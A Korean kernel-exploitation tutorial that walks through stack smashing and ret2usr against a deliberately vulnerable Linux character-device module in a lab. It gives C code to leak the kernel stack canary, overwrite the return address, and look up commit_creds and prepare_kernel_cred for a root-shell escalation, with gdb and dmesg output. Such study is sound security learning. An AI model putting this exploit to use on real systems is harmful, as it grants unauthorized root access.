Excuse the ads! We need some help to keep our site up.

List

02.Stack smashing(64bit) & Return-to-user(ret2usr)

Set environment

  • 해당 장에서 작성된 코드는 Ubuntu 14.04(64bit)에서 테스트 하였습니다.
Information of the operating system
lazenca0x0@ubuntu:~$ uname -a
Linux ubuntu 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:07:32 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
lazenca0x0@ubuntu:~$
  • 해당 예제를 테스트 할 대상 커널의 리눅스 배포판 버전, 커널의 버전 정보를 확인합니다.
Target System
lazenca0x0@ubuntu:~$ lsb_release -cs
trusty
lazenca0x0@ubuntu:~$ uname -r
4.4.0-31-generic
lazenca0x0@ubuntu:~$
  • 해당 정보를 바탕으로 하여 디버깅 PC에 저장소 정보를 저장합니다.
sudo vi /etc/apt/sources.list.d/ddebs.list
deb http://ddebs.ubuntu.com trusty main restricted universe multiverse
deb http://ddebs.ubuntu.com trusty-updates main restricted universe multiverse
deb http://ddebs.ubuntu.com trusty-proposed main restricted universe multiverse
  • 디버깅 PC에 공격 대상 시스템의 커널 버전에 맞는 Debug packages를 설치합니다.
Install Debug symbol
lazenca0x0@ubuntu:~$ sudo apt-get update
lazenca0x0@ubuntu:~$ sudo apt-get install linux-image-4.4.0-31-generic-dbgsym
Reading package lists... Done
Building dependency tree       
Reading state information... Done
The following NEW packages will be installed:
  linux-image-4.4.0-31-generic-dbgsym
0 upgraded, 1 newly installed, 0 to remove and 451 not upgraded.
Need to get 484 MB of archives.
After this operation, 3,528 MB of additional disk space will be used.
WARNING: The following packages cannot be authenticated!
  linux-image-4.4.0-31-generic-dbgsym
Install these packages without verification? [y/N] y
Get:1 http://ddebs.ubuntu.com/ trusty-updates/main linux-image-4.4.0-31-generic-dbgsym amd64 4.4.0-31.50~14.04.1 [484 MB]
Fetched 484 MB in 59s (8,153 kB/s)                                             
Selecting previously unselected package linux-image-4.4.0-31-generic-dbgsym.
(Reading database ... 169907 files and directories currently installed.)
Preparing to unpack .../linux-image-4.4.0-31-generic-dbgsym_4.4.0-31.50~14.04.1_amd64.ddeb ...
Unpacking linux-image-4.4.0-31-generic-dbgsym (4.4.0-31.50~14.04.1) ...
Setting up linux-image-4.4.0-31-generic-dbgsym (4.4.0-31.50~14.04.1) ...
lazenca0x0@ubuntu:~$
  • 다음과 같이 Debug Symbol 파일을 확인할 수 있습니다.target
The path to Debug symbol
lazenca0x0@ubuntu:~$ file /usr/lib/debug/boot/vmlinux-4.4.0-31-generic 
/usr/lib/debug/boot/vmlinux-4.4.0-31-generic: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=4bfbf23c1d18829e7b83920925a1dfba9edaa5b5, not stripped
lazenca0x0@ubuntu:~$ 

Disable SMEP, SMAP, KASLR, KADR

Proof of concept

Example code

chardev.c
#include <linux/init.h>
#include <linux/module.h>
#include <linux/types.h>
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/cdev.h>
#include <linux/sched.h>
#include <linux/device.h>
#include <linux/slab.h>
#include <asm/current.h>
#include <linux/uaccess.h>
 
MODULE_LICENSE("Dual BSD/GPL");
 
#define DRIVER_NAME "chardev"
#define BUFFER_SIZE 64
      
static const unsigned int MINOR_BASE = 0;
static const unsigned int MINOR_NUM  = 2;
static unsigned int chardev_major;
static struct cdev chardev_cdev;
static struct class *chardev_class = NULL;
  
static int     chardev_release(struct inode *, struct file *);
static ssize_t chardev_read(struct file *, char *, size_t, loff_t *);
static ssize_t chardev_write(struct file *, const char *, size_t, loff_t *);
static loff_t chardev_lseek(struct file *, loff_t, int);
 
struct file_operations chardev_fops = {
    .release = chardev_release,
    .read    = chardev_read,
    .write   = chardev_write,
    .llseek  = chardev_lseek,
};
 
struct data {
    unsigned char buffer[BUFFER_SIZE];
};
 
static int chardev_init(void)
{
    int alloc_ret = 0;
    int cdev_err = 0;
    dev_t dev;
  
    printk("The chardev_init() function has been called.");
      
    alloc_ret = alloc_chrdev_region(&dev, MINOR_BASE, MINOR_NUM, DRIVER_NAME);
    if (alloc_ret != 0) {
        printk(KERN_ERR  "alloc_chrdev_region = %d\n", alloc_ret);
        return -1;
    }
    //Get the major number value in dev.
    chardev_major = MAJOR(dev);
    dev = MKDEV(chardev_major, MINOR_BASE);
  
    //initialize a cdev structure
    cdev_init(&chardev_cdev, &chardev_fops);
    chardev_cdev.owner = THIS_MODULE;
  
    //add a char device to the system
    cdev_err = cdev_add(&chardev_cdev, dev, MINOR_NUM);
    if (cdev_err != 0) {
        printk(KERN_ERR  "cdev_add = %d\n", alloc_ret);
        unregister_chrdev_region(dev, MINOR_NUM);
        return -1;
    }
  
    chardev_class = class_create(THIS_MODULE, "chardev");
    if (IS_ERR(chardev_class)) {
        printk(KERN_ERR  "class_create\n");
        cdev_del(&chardev_cdev);
        unregister_chrdev_region(dev, MINOR_NUM);
        return -1;
    }
  
    device_create(chardev_class, NULL, MKDEV(chardev_major, MINOR_BASE), NULL, "chardev%d", MINOR_BASE);
  
    return 0;
}
  
static void chardev_exit(void)
{
    int minor;
    dev_t dev = MKDEV(chardev_major, MINOR_BASE);
      
    printk("The chardev_exit() function has been called.");
      
    for (minor = MINOR_BASE; minor < MINOR_BASE + MINOR_NUM; minor++) {
        device_destroy(chardev_class, MKDEV(chardev_major, minor));
    }
  
    class_destroy(chardev_class);
    cdev_del(&chardev_cdev);
    unregister_chrdev_region(dev, MINOR_NUM);
}
  
static int chardev_release(struct inode *inode, struct file *file)
{
    printk("The chardev_release() function has been called.");
    if (file->private_data) {
        kfree(file->private_data);
        file->private_data = NULL;
    }
    return 0;
}
  
static ssize_t chardev_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos)
{
    char data[BUFFER_SIZE];
    printk("The chardev_write() function has been called.");  
    printk("Before calling the copy_from_user() function : %p",data);
    if (_copy_from_user(&data, buf, count) != 0) {
        return -EFAULT;
    }
/*
    if (copy_from_user(&data, buf, count) != 0) {
        return -EFAULT;
    }
    if (__copy_from_user(&data, buf, count) != 0) {
        return -EFAULT;
    }
*/
    printk("After calling the copy_from_user() function : %p",data);
    return count;
}
  
static ssize_t chardev_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos)
{
    char data[BUFFER_SIZE];
 
    printk("The chardev_read() function has been called.");
    memset(data, 0, sizeof(data));
    strcpy(data, "Welcome to the CSAW CTF challenge. Best of luck!\n");
    printk("MSG : %s\n",data);
    printk("f_pos : %lld\n",*f_pos);
    if (memcpy(buf, data + *f_pos, BUFFER_SIZE) != 0) {
        return -EFAULT;
    }
  
    return count;
}
 
static loff_t chardev_lseek(struct file *file, loff_t offset, int orig) {
    loff_t new_pos = 0;
    printk("The device_lseek() function has been called.");
    switch(orig) {
        case 0 : /*seek set*/
            new_pos = offset;
            break;
        case 1 : /*seek cur*/
            new_pos = file->f_pos + offset;
            break;
        case 2 : /*seek end*/
            new_pos = BUFFER_SIZE - offset;
            break;
    }
    if(new_pos > BUFFER_SIZE)
        new_pos = BUFFER_SIZE;
    if(new_pos < 0)
        new_pos = 0;
    file->f_pos = new_pos;
    return new_pos;
}
 
module_init(chardev_init);
module_exit(chardev_exit);
Makefile
obj-m = chardev.o
   
all:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
   
clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
test.c
//gcc -static -o test test.c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
  
#define TEXT_LEN 64
  
int main()
{
    static char buf[128];
    int fd;
   
    if ((fd = open("/dev/chardev0", O_RDWR)) < 0){
        printf("Cannot open /dev/chardev0. Try again later.\n");
    }
   
    memset (buf, 'A', TEXT_LEN);
  
    read(fd, buf, TEXT_LEN);
    printf("%s", buf);
   
    if (close(fd) != 0){
        printf("Cannot close.\n");
    }
    return 0;
}

Find the address of "Canary"

  • Canary의 위치를 확인하기 위해 test(test.c)프로그램을 이용하며, 다음과 같이 Breakpointer를 설정합니다.

    • 0xffffffffc01b5160 : chardev_read() 함수의 시작 주소

    • 0xffffffffc01b5212 : printk() 함수를 이용하여 data 변수의 내용을 출력하기 전 
    • 0xffffffffc01b527a : Canary 값을 rdx에 저장하기 전

Breakpoint
0x0000000001000200 in ?? ()
(gdb) c
Continuing.
^C
Program received signal SIGINT, Interrupt.

native_safe_halt () at /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/arch/x86/include/asm/irqflags.h:50
50	/build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/arch/x86/include/asm/irqflags.h: No such file or directory.
(gdb) b *0xffffffffc01b5160
Breakpoint 1 at 0xffffffffc01b5160
(gdb) c
Continuing.

Breakpoint 1, 0xffffffffc01b5160 in ?? ()
(gdb) x/80i $rip
=> 0xffffffffc01b5160:	nop    DWORD PTR [rax+rax*1+0x0]
   0xffffffffc01b5165:	push   rbp
   0xffffffffc01b5166:	mov    rdi,0xffffffffc01b6128
   0xffffffffc01b516d:	mov    rbp,rsp
...
   0xffffffffc01b5197:	call   0xffffffff81180972 <printk>
...
   0xffffffffc01b5212:	call   0xffffffff81180972 <printk>
   0xffffffffc01b5217:	mov    rsi,QWORD PTR [r14]
   0xffffffffc01b521a:	mov    rdi,0xffffffffc01b61be
   0xffffffffc01b5221:	xor    eax,eax
   0xffffffffc01b5223:	call   0xffffffff81180972 <printk>
   0xffffffffc01b5228:	mov    rdi,r12
...
   0xffffffffc01b527a:	mov    rdx,QWORD PTR [rbp-0x28]
   0xffffffffc01b527e:	xor    rdx,QWORD PTR gs:0x28
   0xffffffffc01b5287:	jne    0xffffffffc01b5296
   0xffffffffc01b5289:	add    rsp,0x48
   0xffffffffc01b528d:	pop    rbx
   0xffffffffc01b528e:	pop    r12
   0xffffffffc01b5290:	pop    r13
   0xffffffffc01b5292:	pop    r14
   0xffffffffc01b5294:	pop    rbp
   0xffffffffc01b5295:	ret   
...
(gdb) b *0xffffffffc01b5212
Breakpoint 2 at 0xffffffffc01b5212
(gdb) b *0xffffffffc01b527a
Breakpoint 3 at 0xffffffffc01b527a
(gdb) c
Continuing.
  • 다음과 같이 Canary가 저장된 메모리 주소를 확인할 수 있습니다.

    • data 변수의 시작 주소는 "0xffff88001c097e58" 이며, Canary가 저장되어 있는 메모리 영역의 주소는 "0xffff88001c097e98" 입니다.

    • data 변수의 시작 주소로 부터 64 byte 떨어진 곳에 Canary가 저장되어 있는 것을 확인할 수 있습니다.
Canary found
Breakpoint 2, 0xffffffffc01b5212 in ?? ()
(gdb) i r rdi
rdi            0xffffffffc01b61b5  -1071947339
(gdb) x/s 0xffffffffc01b61b5
0xffffffffc01b61b5:	"MSG : %s"
(gdb) i r rsi
rsi            0xffff88001c097e58  -131940924948904
(gdb) x/s 0xffff88001c097e58
0xffff88001c097e58:	"Welcome to the CSAW CTF challenge. Best of luck!\n"
(gdb) c
Continuing.

Breakpoint 3, 0xffffffffc01b527a in ?? ()
(gdb) x/gx $rbp - 0x28
0xffff88001c097e98:	0x00000000771ba757
(gdb) si
0xffffffffc01b527e in ?? ()
(gdb) i r rdx
rdx            0x771ba757          1998301015
(gdb) p/x 0xffff88001c097e98 - 0xffff88001c097e58
$1 = 0x40
(gdb) p/d 0xffff88001c097e98 - 0xffff88001c097e58
$2 = 64
(gdb)

Leak Canary

  • Canary 값을 추출하기 위해 다음과 같이 코드를 작성합니다.

    • lseek() 함수를 이용하여 fd의 포인트 위치로 부터 16 byte 뒤로 이동합니다.

    • read() 함수를 이용하여 fd 영역의 값을 buf영역에 저장합니다.

    • memcpy() 함수를 이용하여 "buf+48"영역으로 부터 8 byte를 "val"변수에 복사합니다. 

      • Canary는 data 변수의 시작 주소로 부터 64byte 떨어져 있고, lseek() 함수를 이용하여 fd의 포인터의 위치를 16byte를 뒤로 이동했기 때문에 "buf"변수에 저장된 Canary의 위치는 "buf+48"가 됩니다.(64 - 16 = 48)
leak.c
//gcc -static -o leak leak.c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
  
#define TEXT_LEN 64
  
int main()
{
    static char buf[128];
    char val[8];
    int fd,i,j;
 
    if ((fd = open("/dev/chardev0", O_RDWR)) < 0){
        printf("Cannot open /dev/chardev0. Try again later.\n");
	return 0;
    }

    lseek(fd, 16, SEEK_CUR); 
    read(fd, buf, TEXT_LEN);
    
    for (i = 0; i < 4; i++)
    {
        for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff);
        printf(" | ");
        for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff);
        printf("\n");
    }

    memcpy(val, buf+48,8);
    size_t canary = ((size_t *)val)[0];

    printf("[+]canary: %p\n", (void *)canary);

    if (close(fd) != 0){
        printf("Cannot close.\n");
    }
    return 0;
}
  • Canary가 정상적으로 추출되는지 확인하기 위해 해당 코드를 빌드 후 실행합니다.
    • 디버거에서 확인한 Canary의 값은 0x7fc22694 입니다.
Breakpoint 3, 0xffffffffc01b527a in ?? ()
(gdb) x/gx $rbp - 0x28
0xffff88002c7a7e98:	0x000000007fc22694
(gdb) si
0xffffffffc01b527e in ?? ()
(gdb) i r rdx
rdx            0x7fc22694          2143430292
(gdb) c
Continuing.
  • leak 프로그램에서 출력된 값은 "94 26 c2 7f"(0x7fc22694)이며, 디버거에서 확인한 값과 동일하다는 것을 확인할 수 있습니다.
lazenca0x0@ubuntu:~/Kernel/Exploit/SS$ ./leak
53 41 57 20 43 54 46 20 63 68 61 6c 6c 65 6e 67  | SAW CTF challeng
65 2e 20 42 65 73 74 20 6f 66 20 6c 75 63 6b 21  | e. Best of luck!
0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 

94 26 c2 7f 00 00 00 00 a0 1c 6c 00 00 00 00 00  | ?&??l
canary is :94 26 c2 7f 00 00 00 00 
lazenca0x0@ubuntu:~/Kernel/Exploit/SS$ 

Check stack overflow

  • 다음 코드를 이용하여 Stack overflow를 확인할 수 있습니다.
    • 추출된 Canary를 "rop+64" 영역에 저장하고, "rop+72 ~ 112" 영역에 알파벳 문자 "A~F" 까지 각각 8개씩 저장합니다.
Overflow.c
//gcc -static -o overflow overflow.c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>

#define TEXT_LEN 64

int main()
{
    static char buf[512];
    size_t rop[512]; 
    char val[8];
    int fd,i,j;
 
    if ((fd = open("/dev/chardev0", O_RDWR)) < 0){
        printf("Cannot open /dev/chardev0. Try again later.\n");
    }

    lseek(fd, 16, SEEK_CUR); 
    read(fd, buf, TEXT_LEN);

    printf("%s\n",buf);
    for (i = 0; i < 4; i++)
    {
        for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff);
        printf(" | ");
        for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff);
        printf("\n");
    }

    memcpy(val, buf+48,8);
    size_t canary = ((size_t *)val)[0];

    printf("[+]canary: %p\n", (void *)canary);
 
    int k = 8;
    memset(&rop[0], 0x41, 64);
    rop[k++] = canary;
    rop[k++] = 0x4141414141414141; //AAAAAAAA
    rop[k++] = 0x4242424242424242; //BBBBBBBB
    rop[k++] = 0x4343434343434343; //CCCCCCCC
    rop[k++] = 0x4444444444444444; //DDDDDDDD
    rop[k++] = 0x4545454545454545; //EEEEEEEE
    rop[k++] = 0x4646464646464646; //FFFFFFFF
 
    write(fd, rop, 120);

    if (close(fd) != 0){
        printf("Cannot close.\n");
    }
    return 0;
}
  • 디버깅을 위해 다음과 같이 chardev_write()함수의 시작주소에 Breakpoint를 설정합니다.
Breakpoint - chardev_write(), 0xffffffffc01c90d0
(gdb) c
Continuing.
^C
Program received signal SIGINT, Interrupt.
native_safe_halt () at /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/arch/x86/include/asm/irqflags.h:50
50	in /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/arch/x86/include/asm/irqflags.h
(gdb) b *0xffffffffc01c90d0
Breakpoint 4 at 0xffffffffc01c90d0
(gdb) c
Continuing.
  • 다음과 같이 Stack Overflow를 확인하기 위해 다음과 같이 Breakpoint를 설정합니다.

    • 0xffffffffc01c911c : _copy_from_user() 함수 호출 전

    • 0xffffffffc01c9144 : chardev_write() 함수의 ret 명령어 실행 전

    • 해당 함수의 Return address가 저장된 영역은 0xffff88001acdfec0 이며, 저장된 값은 0xffffffff811fd468 입니다.
Breakpoints
Breakpoint 4, 0xffffffffc01c90d0 in ?? ()
(gdb) x/40i $rip
=> 0xffffffffc01c90d0:	nop    DWORD PTR [rax+rax*1+0x0]
   0xffffffffc01c90d5:	push   rbp
...
   0xffffffffc01c911c:	call   0xffffffff813e0a10 <_copy_from_user>
   0xffffffffc01c9121:	test   rax,rax
   0xffffffffc01c9124:	je     0xffffffffc01c914a
   0xffffffffc01c9126:	mov    rax,0xfffffffffffffff2
   0xffffffffc01c912d:	mov    rcx,QWORD PTR [rbp-0x18]
   0xffffffffc01c9131:	xor    rcx,QWORD PTR gs:0x28
   0xffffffffc01c913a:	jne    0xffffffffc01c9145
   0xffffffffc01c913c:	add    rsp,0x48
   0xffffffffc01c9140:	pop    rbx
   0xffffffffc01c9141:	pop    r12
   0xffffffffc01c9143:	pop    rbp
   0xffffffffc01c9144:	ret    
   0xffffffffc01c9145:	call   0xffffffff8107d560 <__stack_chk_fail>
   0xffffffffc01c914a:	lea    rsi,[rbp-0x58]
   0xffffffffc01c914e:	mov    rdi,0xffffffffc01ca0f0
   0xffffffffc01c9155:	call   0xffffffff81180972 <printk>
   0xffffffffc01c915a:	mov    rax,rbx
   0xffffffffc01c915d:	jmp    0xffffffffc01c912d
   0xffffffffc01c915f:	nop
   0xffffffffc01c9160:	nop    DWORD PTR [rax+rax*1+0x0]
(gdb) b *0xffffffffc01c911c
Breakpoint 5 at 0xffffffffc01c911c
(gdb) b *0xffffffffc01c9144
Breakpoint 6 at 0xffffffffc01c9144
(gdb) si
0xffffffffc01c90d5 in ?? ()
(gdb) i r rsp
rsp            0xffff88001acdfec0  0xffff88001acdfec0
(gdb) x/gx 0xffff88001acdfec0
0xffff88001acdfec0:	0xffffffff811fd468
(gdb) c
Continuing.
  • 다음과 같이 Stack Overflow를 확인할 수 있습니다.
    • _copy_from_user() 함수 호출 전
      • 첫번째 인자 data 변수의 시작 주소는 0xffff88001acdfe60 이며, 커널 영역 입니다.
      • 두번째 인자 buf 변수의 시작 주소는 0x6c1ea0 이며, 해당 영역은 유저 영역 입니다.
    • _copy_from_user() 함수 호출 후
      • _copy_from_user() 함수에 의해 buf변수에 저장된 값이 data 변수에 복사되었습니다.
      • 이로 인해 Canary 값과 Return address를 덮어쓴것을 확인할 수 있습니다.
    • ret 명령어 호출 전
      • RSP 레지스터에 저장된 주소가 0xffff88001acdfec0 이며, 해당 영역의 값이 0x4444444444444444 으로 변경된 것을 확인할 수 있습니다.
Changed Return address
Breakpoint 5, 0xffffffffc01c911c in ?? ()
(gdb) i r rdi rsi
rdi            0xffff88001acdfe60  -131940945625504
rsi            0x6c1ea0            7085728
(gdb) x/20gx 0xffff88001acdfe60
0xffff88001acdfe60:	0xffffffffc01cb000	0xffffffffc01c90d0
0xffff88001acdfe70:	0xffff88001acdff20	0x0000000000000078
0xffff88001acdfe80:	0x00000000006c1ea0	0xffff88001f58c300
0xffff88001acdfe90:	0xffffffffffffff10	0xffffffffc01c90d5
0xffff88001acdfea0:	0x000000008032ebc6	0xffff88001f58c300
0xffff88001acdfeb0:	0x00000000006c1ea0	0xffff88001acdfec8
0xffff88001acdfec0:	0xffffffff811fd468	0xffff88001acdff08
0xffff88001acdfed0:	0xffffffff811fda82	0x0000000000000000
0xffff88001acdfee0:	0xffff88001f58c300	0xffff88001f58c300
0xffff88001acdfef0:	0x00000000006c1ea0	0x0000000000000078
(gdb) x/20gx 0x6c1ea0
0x6c1ea0:	0x4141414141414141	0x4141414141414141
0x6c1eb0:	0x4141414141414141	0x4141414141414141
0x6c1ec0:	0x4141414141414141	0x4141414141414141
0x6c1ed0:	0x4141414141414141	0x4141414141414141
0x6c1ee0:	0x000000008032ebc6	0x4141414141414141
0x6c1ef0:	0x4242424242424242	0x4343434343434343
0x6c1f00:	0x4444444444444444	0x4545454545454545
0x6c1f10:	0x4646464646464646	0x0000000000000000
0x6c1f20:	0x0000000000000000	0x0000000000000000
0x6c1f30:	0x0000000000000000	0x0000000000000000
(gdb) c
Continuing.

Breakpoint 6, 0xffffffffc01c9144 in ?? ()
(gdb) x/20gx 0xffff88001acdfe60
0xffff88001acdfe60:	0x4141414141414141	0x4141414141414141
0xffff88001acdfe70:	0x4141414141414141	0x4141414141414141
0xffff88001acdfe80:	0x4141414141414141	0x4141414141414141
0xffff88001acdfe90:	0x4141414141414141	0x4141414141414141
0xffff88001acdfea0:	0x000000008032ebc6	0x4141414141414141
0xffff88001acdfeb0:	0x4242424242424242	0x4343434343434343
0xffff88001acdfec0:	0x4444444444444444	0x4545454545454545
0xffff88001acdfed0:	0x4646464646464646	0x0000000000000000
0xffff88001acdfee0:	0xffff88001f58c300	0xffff88001f58c300
0xffff88001acdfef0:	0x00000000006c1ea0	0x0000000000000078
(gdb) i r rsp
rsp            0xffff88001acdfec0  0xffff88001acdfec0
(gdb) x/gx 0xffff88001acdfec0
0xffff88001acdfec0:	0x4444444444444444
(gdb) c
Continuing.

Exploit method

  • ret2usr 기법을 이용한 Exploit의 순서는 다음과 같습니다.

Exploit 순서
  • prepare_kernel_cred() 함수의 인자 값으로 '0'을 전달해 "root"의 자격 증명을 준비합니다.

  • commit_creds() 함수의 인자 값으로 prepare_kernel_cred() 함수가 리턴한 값("root"의 자격 증명)을 전달 합니다.
  • system() 함수를 이용하여 "/bin/sh" 를 실행합니다.
  • 이를 코드로 표현하면 다음과 같습니다.
code
commit_creds(prepare_kernel_cred(NULL));
system("/bin/sh");
  • 앞에 내용을 바탕으로 공격을 위해 알아내어야 할 정보는 다음과 같습니다.
확인해야 할 정보 목록
  • prepare_kernel_cred() 함수의 주소

  • commit_creds() 함수의 주소

Find the address of a function

address.c
//gcc -masm=intel -static -o address address.c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <stdint.h>
 
#define TEXT_LEN 64
 
void *(*prepare_kernel_cred)(void *) ;
int (*commit_creds)(void *) ;

void *kallsym_getaddr(char *name)
{
    FILE *fp;
    void *addr;
    char sym[512];
   
    fp = fopen("/proc/kallsyms", "r");
    while (fscanf(fp, "%p %*c %512s\n", &addr, sym) > 0) {
        if (strcmp(sym, name) == 0) {
            break;
        }else{
            addr = NULL;
        }
    }
    fclose(fp);
    return addr;
}

int main()
{
    static char buf[512];
    size_t rop[512]; 
    char val[8];
    int fd,i,j;
 
    //Find the address of "commit_creds()"
    commit_creds = kallsym_getaddr("commit_creds");
    if(commit_creds == 0)
    {
        printf("failed to get commit_creds address\n");
        return 0;
    }
    printf("commit_creds address is :%p\n",commit_creds);

    //Find the address of "commit_creds()"
    prepare_kernel_cred = kallsym_getaddr("prepare_kernel_cred");
    if(prepare_kernel_cred == 0)
    {
        printf("failed to get prepare_kernel_cred address\n");
        return 0;
    }
    printf("prepare_kernel_cred address is :%p\n",prepare_kernel_cred); 

    //leak the canary
    if ((fd = open("/dev/chardev0", O_RDWR)) < 0){
        printf("Cannot open /dev/chardev0. Try again later.\n");
	return 0;
    }

    lseek(fd, 16, SEEK_CUR); 
    read(fd, buf, TEXT_LEN);

    for (i = 0; i < 4; i++)
    {
        for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff);
        printf(" | ");
        for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff);
        printf("\n");
    }

    memcpy(val, buf+48,8);
    size_t canary = ((size_t *)val)[0];

    printf("[+]canary: %p\n", (void *)canary);
 
    int k = 8;
    memset(&rop[0], 0x41, 64);
    rop[k++] = canary;
    rop[k++] = 0x4141414141414141; //AAAAAAAA
    rop[k++] = 0x4242424242424242; //BBBBBBBB
    rop[k++] = 0x4343434343434343; //CCCCCCCC
    rop[k++] = 0x4444444444444444; //DDDDDDDD
    rop[k++] = 0x4545454545454545; //EEEEEEEE
    rop[k++] = 0x4646464646464646; //FFFFFFFF
 
    write(fd, rop, 120);

    if (close(fd) != 0){
        printf("Cannot close.\n");
    }
    return 0;
}
  • 다음과 같이 권한 상승에 필요함 함수의 주소를 출력하는 것을 확인할 수 있습니다.

    • commit_creds() : 0xffffffff8109d760

    • prepare_kernel_cred() : 0xffffffff8109da40

Find the address of the kernel function
lazenca0x0@ubuntu:~/Kernel/Exploit/SS$ ./address
commit_creds address is :0xffffffff8109d760
prepare_kernel_cred address is :0xffffffff8109da40
53 41 57 20 43 54 46 20 63 68 61 6c 6c 65 6e 67  | SAW CTF challeng
65 2e 20 42 65 73 74 20 6f 66 20 6c 75 63 6b 21  | e. Best of luck!
0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 

67 06 51 56 00 00 00 00 a0 1c 6c 00 00 00 00 00  | gQV?l
Segmentation fault
lazenca0x0@ubuntu:~/Kernel/Exploit/SS$
  • dmesg를 이용하여 모듈에서 발생한 에러의 정보를 확인 할 수 있습니다.
    • 그런데 에러 메시지가 "Bad RIP value"가 아닌 "general protection fault: 0000 [#1] SMP" 라고 출력하는 것을 확인할 수 있습니다.

Error message
lazenca0x0@ubuntu:~/Kernel/Exploit/SS$ dmesg |tail -n 60
[ 1224.980459] The chardev_write() function has been called.Before calling the copy_from_user() function : ffff88001acdfe60
[ 1282.303683] INFO: rcu_sched detected stalls on CPUs/tasks:
[ 1282.303688]  (detected by 0, t=28468 jiffies, g=10537, c=10536, q=50)
[ 1282.303812] All QSes seen, last rcu_sched kthread activity 28468 (4295212848-4295184380), jiffies_till_next_fqs=1, root ->qsmask 0x0
[ 1282.303813] test            R  running task        0  2937   2649 0x00000008
[ 1282.303816]  ffffffff81c54780 ffff88003c603e00 ffffffff810a997f ffff88003c617a80
[ 1282.303817]  ffffffff81c54780 ffff88003c603e68 ffffffff810e1f65 0000000000000000
[ 1282.303818]  ffff88003c616d00 0000000000002929 0000000000002929 0000000000000000
[ 1282.303819] Call Trace:
[ 1282.303820]  <IRQ>  [<ffffffff810a997f>] sched_show_task+0xaf/0x110
[ 1282.303828]  [<ffffffff810e1f65>] rcu_check_callbacks+0x795/0x7a0
[ 1282.303867]  [<ffffffff810f7360>] ? tick_sched_do_timer+0x30/0x30
[ 1282.303870]  [<ffffffff810e7d39>] update_process_times+0x39/0x60
[ 1282.303871]  [<ffffffff810f6d65>] tick_sched_handle.isra.15+0x25/0x60
[ 1282.303872]  [<ffffffff810f739d>] tick_sched_timer+0x3d/0x70
[ 1282.303874]  [<ffffffff810e8893>] __hrtimer_run_queues+0xf3/0x260
[ 1282.303875]  [<ffffffff810e8d38>] hrtimer_interrupt+0xa8/0x1a0
[ 1282.303908]  [<ffffffff81050cf5>] local_apic_timer_interrupt+0x35/0x60
[ 1282.303912]  [<ffffffff817f99dd>] smp_apic_timer_interrupt+0x3d/0x50
[ 1282.303914]  [<ffffffff817f7ca2>] apic_timer_interrupt+0x82/0x90
[ 1282.303914]  <EOI>  [<ffffffff813e0a10>] ? _copy_to_user+0x30/0x30
[ 1282.303921]  [<ffffffffc01c9121>] ? chardev_write+0x51/0x90 [chardev]
[ 1282.303922]  [<ffffffffc01c90d0>] ? chardev_release+0x40/0x40 [chardev]
[ 1282.303924]  [<ffffffffc01c90d5>] ? chardev_write+0x5/0x90 [chardev]
[ 1282.303926]  [<ffffffff811fd468>] __vfs_write+0x18/0x40
[ 1282.303927]  [<ffffffff811fda82>] vfs_write+0xa2/0x1a0
[ 1282.303928]  [<ffffffff811fe7a6>] SyS_write+0x46/0xa0
[ 1282.303930]  [<ffffffff817f6f36>] entry_SYSCALL_64_fastpath+0x16/0x75
[ 1282.303932] rcu_sched kthread starved for 28468 jiffies! g10537 c10536 f0x2 s3 ->state=0x0
[ 1282.304717] After calling the copy_from_user() function : ffff88001acdfe60
[ 1282.308510] general protection fault: 0000 [#1] SMP
[ 1282.308516] Modules linked in: chardev(OE) hid_generic uvcvideo usbhid videobuf2_vmalloc videobuf2_memops videobuf2_v4l2 videobuf2_core v4l2_common videodev hid media coretemp crct10dif_pclmul crc32_pclmul aesni_intel aes_x86_64 lrw gf128mul glue_helper ablk_helper vmw_balloon cryptd snd_ens1371 snd_ac97_codec btusb gameport ac97_bus snd_pcm btrtl joydev input_leds btbcm btintel serio_raw snd_seq_midi snd_seq_midi_event snd_rawmidi snd_seq snd_seq_device snd_timer snd soundcore nfit vmwgfx ttm drm_kms_helper drm 8250_fintek shpchp fb_sys_fops syscopyarea vmw_vmci sysfillrect i2c_piix4 sysimgblt mac_hid bnep rfcomm bluetooth parport_pc ppdev lp parport psmouse mptspi mptscsih mptbase ahci libahci e1000 scsi_transport_spi pata_acpi fjes [last unloaded: chardev]
[ 1282.308540] CPU: 0 PID: 2937 Comm: test Tainted: G           OEL  4.4.0-31-generic #50~14.04.1-Ubuntu
[ 1282.308541] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 07/02/2015
[ 1282.308543] task: ffff88003578c4c0 ti: ffff88001acdc000 task.ti: ffff88001acdc000
[ 1282.308545] RIP: 0010:[<ffffffffc01c9144>]  [<ffffffffc01c9144>] chardev_write+0x74/0x90 [chardev]
[ 1282.308550] RSP: 0018:ffff88001acdfec0  EFLAGS: 00010282
[ 1282.308551] RAX: 0000000000000078 RBX: 4141414141414141 RCX: 0000000000000000
